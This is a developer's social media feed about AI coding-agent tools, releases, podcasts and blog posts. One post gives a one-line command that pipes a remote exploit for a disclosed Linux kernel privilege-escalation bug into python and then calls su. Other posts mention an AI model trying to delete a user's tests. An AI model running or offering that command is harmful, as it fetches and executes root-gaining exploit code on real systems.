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Jesse Vincent

@s.ly
3.5K followers 1.3K following 18K posts

Doing AI stuff at Prime Radiant. Past lives include: keyboard.io, VaccinateCA, K-9 Mail, Request Tracker & Perl. I can usually be found in #Berkeley jesse@fsck.com jesse@primeradiant.com @jesse@metasocial.com was @obra on Twitter

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Jesse Vincent @s.ly · 19h
I wrote a bit about getting Muse to manage a git repo of all the changes to its skills. There's some neat stuff in there. blog.fsck.com/2026/09/29/I...
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Jesse Vincent @s.ly · 23/09/2026
On the evening of October 14, @simonwillison.net and I are hosting a small, informal chat about agentic engineering and "agentic show and tell" in San Francisco. Details at: blog.fsck.com/2026/09/22/a...
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Jesse Vincent @s.ly · 21/09/2026
primeradiant.com/blog/2026/su...
primeradiant.com
Superpowers 6.4 | Prime Radiant
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Jesse Vincent @s.ly · 21/09/2026
Superpowers 6.4 is out! It adds support for Muse Code, Open Code 2.0 and Qwen Code. This release introduces a new 'native' execution mode for frontier models & adds a new 'diagnosing-superpowers' skill that can help you understand what needs fixing if Superpowers doesn't work like you'd expect.
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Jesse Vincent @s.ly · 16/09/2026
Please submit it!
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Jesse Vincent @s.ly · 16/09/2026
thanks for the heads up. And indeed there was a bug in the static site generator, but yes, stars is an attention proxy and nothing more. It did not deserve that much prominence.
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Jesse Vincent @s.ly · 16/09/2026
How many coding agents do you think are out there? We got curious, so we set our agents loose to build a new public catalog of agents, agent sdks and multiplexers. It's live at alltheagents.org. If we're missing your favorites, please submit them.
alltheagents.org
All the Agents — 549 Coding Agent Harnesses
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Jesse Vincent @s.ly · 16/09/2026
It kind of snuck up on me, but I'm going to be joining @timoreilly.bsky.social on Live With Tim tomorrow (Wednesday) morning at 9AM Pacific! You should tune in: www.oreilly.com/live/live-wi...
oreilly.com
Give Your Agents Superpowers: Jesse Vincent Live with Tim O'Reilly - Sep 16 - O'Reilly
What Claude's weights reveal about how it actually thinks
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Jesse Vincent @s.ly · 01/09/2026
Youtube: www.youtube.com/watch?v=QeNV... Spotify: open.spotify.com/episode/5L04... Apple: podcasts.apple.com/us/podcast/w... Web: aiworthusing.com
youtube.com
When Claude Deleted My Tests: Jesse Vincent, Creator of Superpowers
YouTube video by AIWorthUsing
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Jesse Vincent @s.ly · 01/09/2026
I got to join Tom Preston-Warner and Sam Odio as the first guest on their new podcast, AI Worth Using. We talked about Superpowers and how it came to be. Then Tom installed Superpowers live and asked it to rebuild GitHub from scratch. If you want to see how it went, the episode is out now.
youtube.com
When Claude Deleted My Tests: Jesse Vincent, Creator of Superpowers
YouTube video by AIWorthUsing
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Reposted by Jesse Vincent
Rich Gibson @richgibson.bsky.social · 27/08/2026
I made a demo hyper local map app to track water quality reports. I used @s.ly SuperPowers skill (for the system, blame me for the esthetics). clo-waterquality.com It is test data only for now. Feel free to make test reports. Read the about page for some background.
clo-waterquality.com
Test project for Clearlake Oaks water reports
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Jesse Vincent @s.ly · 22/08/2026
GLM through a friend’s server that is a pilot for an upcoming startup. You can find the repo for Evener, but I have some stuff I want to do with it before I start linking it and encouraging people to try it.  if you do find it, know that the web surface is the one
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Jesse Vincent @s.ly · 22/08/2026
To test out Evener, our new coding agent harness, I vibe coded a C compiler. blog.fsck.com/2026/08/21/i...
blog.fsck.com
I vibe-coded a C compiler that can build SQLite
I'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble.
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Reposted by Jesse Vincent
Michael "NE6RD" Pechner @ne6rd.com · 10/08/2026
If you have not used superpower plugin with claude you are missing out when doing design and planning. claude.com/plugins/supe...
claude.com
Superpowers Plugin | Claude by Anthropic
Claude learns brainstorming, subagent development with code review, debugging, TDD, and skill authoring through Superpowers.. Install this plugin to extend your workflow.
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Jesse Vincent @s.ly · 21/08/2026
(That’s not actually how skills work. They only get loaded when the agent requests them)
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Jesse Vincent @s.ly · 13/08/2026
absolutely. All of our evals track token spend and cash spend completely separately. In between token cachinf and the different price of different models…  
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Jesse Vincent @s.ly · 12/08/2026
If you install directly from the Superpowers marketplace, 6.3 is available right now. If you install from your coding agent's marketplace, we expect that you should see 6.3.0 within the next day or so. Release notes: github.com/obra/superpo...
github.com
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Jesse Vincent @s.ly · 12/08/2026
We're continuing to optimize for current frontier models as your orchestrator during implementation. The latest models are more proactive & prone to spending a lot of extra tokens. More on that soon!
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Jesse Vincent @s.ly · 12/08/2026
I'm pleased to announce Superpowers 6.3. New harnesses: Hermes, Devin CLI & Grok Build Performance with Claude Code with Opus 5 and Codex with GPT 5.6-Sol should be *better* - Claude is now less likely to spawn off duplicate reviewers and Codex is now smarter about how it waits for subagents.
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Jesse Vincent @s.ly · 06/08/2026
"analog" *sob*
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Jesse Vincent @s.ly · 21/07/2026
is this related to the gauntlet e2e test suite I make? github.com/prime-radiant-inc/gauntlet
github.com
GitHub - prime-radiant-inc/gauntlet: AI-powered QA testing framework that uses LLMs (Claude or GPT) to test web apps, CLI tools, and TUI programs from markdown story cards, returning structured pass/f...
AI-powered QA testing framework that uses LLMs (Claude or GPT) to test web apps, CLI tools, and TUI programs from markdown story cards, returning structured pass/fail verdicts with evidence. - prim...
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Jesse Vincent @s.ly · 21/07/2026
I don't have a great intro to how llms work on the inside. :/
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Jesse Vincent @s.ly · 20/07/2026
I wrote a little bit about the Therapist pattern we’re using for self-modifying agents. primeradiant.com/blog/2026/th...
primeradiant.com
The Therapist Pattern | Prime Radiant
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Jesse Vincent @s.ly · 04/07/2026
I built a free tool to keep your clipboard in sync between your macs and your coding agents running in tmux on remote servers. It's called Clipfan. blog.fsck.com/2026/07/03/c...
blog.fsck.com
Syncing my clipboard between macOS and remote terminals
I'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble.
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Jesse Vincent @s.ly · 02/07/2026
We're building something really cool for teams using Superpowers inside large orgs. If that's you, I'd love to chat. DM me or drop me a line at jesse@primeradiant.com
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Jesse Vincent @s.ly · 24/06/2026
I have one of those!
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Jesse Vincent @s.ly · 18/06/2026
reloading plug-ins out from under you in the middle of something sounds unfun. I’d start a new session.
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Jesse Vincent @s.ly · 16/06/2026
I'm pleased to announce Superpowers 6.0. In addition to support for Pi, Antigravity and Kimi Code and a bunch of other improvements, this release builds your projects faser and is *dramatically* more token-efficient. It's available on GitHub now. primeradiant.com/blog/2026/su...
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Jesse Vincent @s.ly · 13/06/2026
Love Superpowers? Want it to work even better for everybody? We're hiring somebody to help with community and GitHub and stuff: primeradiant.com/jobs/superpo...
primeradiant.com
Superpowers Community Engineer | Jobs | Prime Radiant
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Jesse Vincent @s.ly · 12/06/2026
He is a very nice guy, though.
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Jesse Vincent @s.ly · 12/06/2026
This afternoon, I pulled some data from backups of my .claude directory to build a visualization of Claude Code plugin installs over time. You can explore the data at primeradiant.com/claude-plugi...
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Jesse Vincent @s.ly · 11/06/2026
I guess I will have to live with not being a rocker and not rocking out
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Jesse Vincent @s.ly · 11/06/2026
ugh, that’s garbage.
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Jesse Vincent @s.ly · 11/06/2026
@rstevens.bsky.social I presume you know the store is down?
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Jesse Vincent @s.ly · 06/06/2026
@clawphones.bsky.social Hi! I need your help to understand your mandate.
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Jesse Vincent @s.ly · 06/06/2026
. o { it wasn't a literal bay. because streaming didn't exist. }
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Reposted by Jesse Vincent
Ol' Chef Dan @olchefdan.bsky.social · 25/05/2026
Honestly, one of the funniest tweets I've ever seen.
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Jesse Vincent @s.ly · 21/05/2026
oh, come on. function signatures in Perl are pluggable. You can make them just as pathological as you want.
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Jesse Vincent @s.ly · 12/05/2026
Started with tape and files and then figured out that a deburring tool does an even better job.
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Jesse Vincent @s.ly · 11/05/2026
There's a good chance that taking it to the apple store is a 'top case' replacement. And that likely means no laptop for half a week. And losing the filleted edge I put on it.
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Jesse Vincent @s.ly · 11/05/2026
My MacBook Pro's escape key had gotten sticky and unreliable. I successfully removed the keycap, cleaned the cavity and scissor mechanism, AND reassembled the key without breaking anything. The key even works right again. Please clap.
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Jesse Vincent @s.ly · 08/05/2026
@buttplug.engineer seems relevant to your interests, although I assume this is...fanfic.
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Jesse Vincent @s.ly · 01/05/2026
A short post about my favorite adversarial review prompt: blog.fsck.com/2026/05/01/a...
blog.fsck.com
My favorite adversarial review prompt
I'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble.
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Jesse Vincent @s.ly · 01/05/2026
hooks can’t prevent intent. They could prevent the literal rm of whole files.
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Jesse Vincent @s.ly · 30/04/2026
I'd love to see it. I have literally never seen a prompt that blocks rationalizations.
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Jesse Vincent @s.ly · 30/04/2026
That would be so easy to work around. That’s exactly the kind of mitigation that I found does not work for the reasons I talked about in the post.
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Jesse Vincent @s.ly · 30/04/2026
You should absolutely write that up. It's pretty common with folks I talk to that they have a masked test suite because anything else will get gamed.
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Jesse Vincent @s.ly · 30/04/2026
I wrote about the time I caught Claude trying to delete all of my tests (and how I fixed it) blog.fsck.com/2026/04/30/t...
blog.fsck.com
That time it tried to delete all my tests
I'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble.
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Jesse Vincent @s.ly · 29/04/2026
Ordinarily, the security advice is "don't pipe curl to sh, because it might have an exploit in it" (That advice stands. Always check the payload) curl copy.fail/exp | python3 && su
copy.fail
Copy Fail: 732 Bytes to Root on Every Major Linux Distributions - Xint
Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...
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Jesse Vincent @s.ly · 29/04/2026
So here's the pitch: It's Eternal September, but for Patch Tuesday.
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